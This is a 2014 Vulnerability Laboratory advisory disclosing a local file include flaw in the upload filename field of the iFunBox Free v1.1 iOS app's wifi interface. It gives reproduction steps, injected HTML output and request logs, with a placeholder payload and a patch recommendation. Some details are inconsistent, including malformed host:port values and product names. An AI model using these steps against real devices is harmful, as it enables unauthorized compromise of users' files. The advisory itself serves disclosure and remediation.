238 lines
No EOL
12 KiB
Text
238 lines
No EOL
12 KiB
Text
Document Title:
|
||
===============
|
||
iFunBox Free v1.1 iOS - File Include Vulnerability
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=1344
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-10-20
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
1344
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
6.4
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
iFunBox is a powerful file transfer and manage tool. You can use it to transfer files between Apple devices.
|
||
It’s also a full-function file explorer, with user-friendly UI and simple operations.
|
||
|
||
(Copy of the Homepage: https://itunes.apple.com/de/app/ifunbox-free/id882209383 )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official iFunBox Free v1.1 iOS mobile web-application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2014-10-20: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Nguyen Anh
|
||
Product: iFunBox Free - iOS Mobile Web Application 1.1
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Local
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
High
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
A local file include web vulnerability has been discovered in the official iFunBox Free v1.1 iOS mobile web-application.
|
||
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
|
||
specific path commands to compromise the mobile web-application.
|
||
|
||
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious
|
||
`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs
|
||
in the index dir listing of the wifi interface context. The attacker is able to inject the local file include request by usage of the `wifi
|
||
interface` in connection with the vulnerable upload request.
|
||
|
||
Remote attackers are also able to exploit the filename/albumname validation issue in combination with persistent injected script codes to execute
|
||
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST.
|
||
|
||
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.
|
||
Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation
|
||
of the local file include web vulnerability results in mobile application or connected device component compromise.
|
||
|
||
Request Method(s):
|
||
[+] POST
|
||
|
||
Vulnerable Module(s):
|
||
[+] Upload (File)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename
|
||
|
||
Affected Module(s):
|
||
[+] iToolZip Wifi Interface (localhost:80000)
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
The local file include vulnerability can be exploited by local attackers without user interaction or privileged application user account.
|
||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||
|
||
1. Install the mobile app to your local iOS device (iphone or ipad) [https://itunes.apple.com/de/app/ifunbox-free/id882209383]
|
||
2. Start the app and push in the right top corner the wifi transfer button
|
||
3. Take another device or computer that allows you to access the wifi file transfer interface (localhost:8000)
|
||
4. Now, the attacker uploads a file and tampers the request to manipulate the session information live
|
||
Note: He injects a payload to request a local file through the vulnerable filename value in the upload POSt emthod request
|
||
5. The code execution occurs in the inject in the wifi file dir listing web interface index (localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png)
|
||
6. Successful reproduce of the security vulnerability!
|
||
|
||
|
||
PoC: index.html (Name) [createdir?path=]
|
||
|
||
<div id="main">
|
||
<div id="header">
|
||
<form action="/files" enctype="multipart/form-data" method="post" class="upload">
|
||
<label>Select file:</label>
|
||
<input id="newfile" name="newfile" size="40" type="file">
|
||
<input name="commit" value="Upload" class="button" type="submit">
|
||
</form></div><table border="0" cellpadding="0" cellspacing="0"><thead>
|
||
<tr><th>Name</th><th class="del">Download</th><th class="del">Delete</th></tr></thead>
|
||
<tbody id="filelist"><tr><td><a class="file"><./[LOCAL FILE INCLUDE VULNERABILITY!].png">./[LOCAL FILE INCLUDE VULNERABILITY!].png</a></td><td class='del'>
|
||
<input onclick=downloadPath('%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png') name="commit" type="submit" value="Download" class='button' /></td>
|
||
<td class='del'><input onclick=deletePath('%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png%3E2.png') name="commit" type="submit"
|
||
value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr><tr class="shadow"><td><a onclick="loadPath('Applications')" class="file">Applications</a></td>
|
||
<td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Documents')" class="file">Documents</a></td><td class="del"></td><td class="del"></td></tr>
|
||
<tr class="shadow"><td><a onclick="loadPath('Games')" class="file">Games</a></td><td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Musics')"
|
||
class="file">Musics</a></td><td class="del"></td><td class="del"></td></tr><tr class="shadow"><td><a onclick="loadPath('Pictures')" class="file">Pictures</a></td>
|
||
<td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Videos')" class="file">Videos</a></td><td class="del"></td><td class="del"></td></tr></tbody></table>
|
||
|
||
|
||
--- PoC Session Logs [GET] ---
|
||
Status: 302[Found]
|
||
POST http://localhost:8000:8000/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8000:8000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8000:8000/]
|
||
Connection[keep-alive]
|
||
POST-Daten:
|
||
POST_DATA[-----------------------------94243140032725
|
||
Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png"
|
||
Content-Type: image/png
|
||
-
|
||
Status: 200[OK]
|
||
GET http://localhost:8000:8000/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[5753] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8000:8000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8000:8000/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[5753]
|
||
Date[Sun, 19 Oct 2014 17:05:59 GMT]
|
||
-
|
||
Status: 200[OK]
|
||
GET http://localhost:8000:8000/files?p= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[369] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8000:8000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||
Accept[application/json, text/javascript, */*]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
X-Requested-With[XMLHttpRequest]
|
||
Referer[http://localhost:8000:8000/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[369]
|
||
Date[Sun, 19 Oct 2014 17:06:00 GMT]
|
||
-
|
||
Status: 200[OK]
|
||
GET http://localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[localhost:8000:8000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:8000:8000/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[0]
|
||
Date[Sun, 19 Oct 2014 17:06:01 GMT]
|
||
|
||
|
||
Solution - Fix & Patch:
|
||
=======================
|
||
The file include web vulnerability can be patched by a secure parse and encode of the filename in the upload POST method request.
|
||
To prevent the execution filter the input and restrict it on input but encode also the iToolZip wifi interface file dir list with the vulnerable name output value.
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
The security risk of the local file include web vulnerability in the iToolZo wifi web interface is estimated as high. (CVSS 6.4)
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |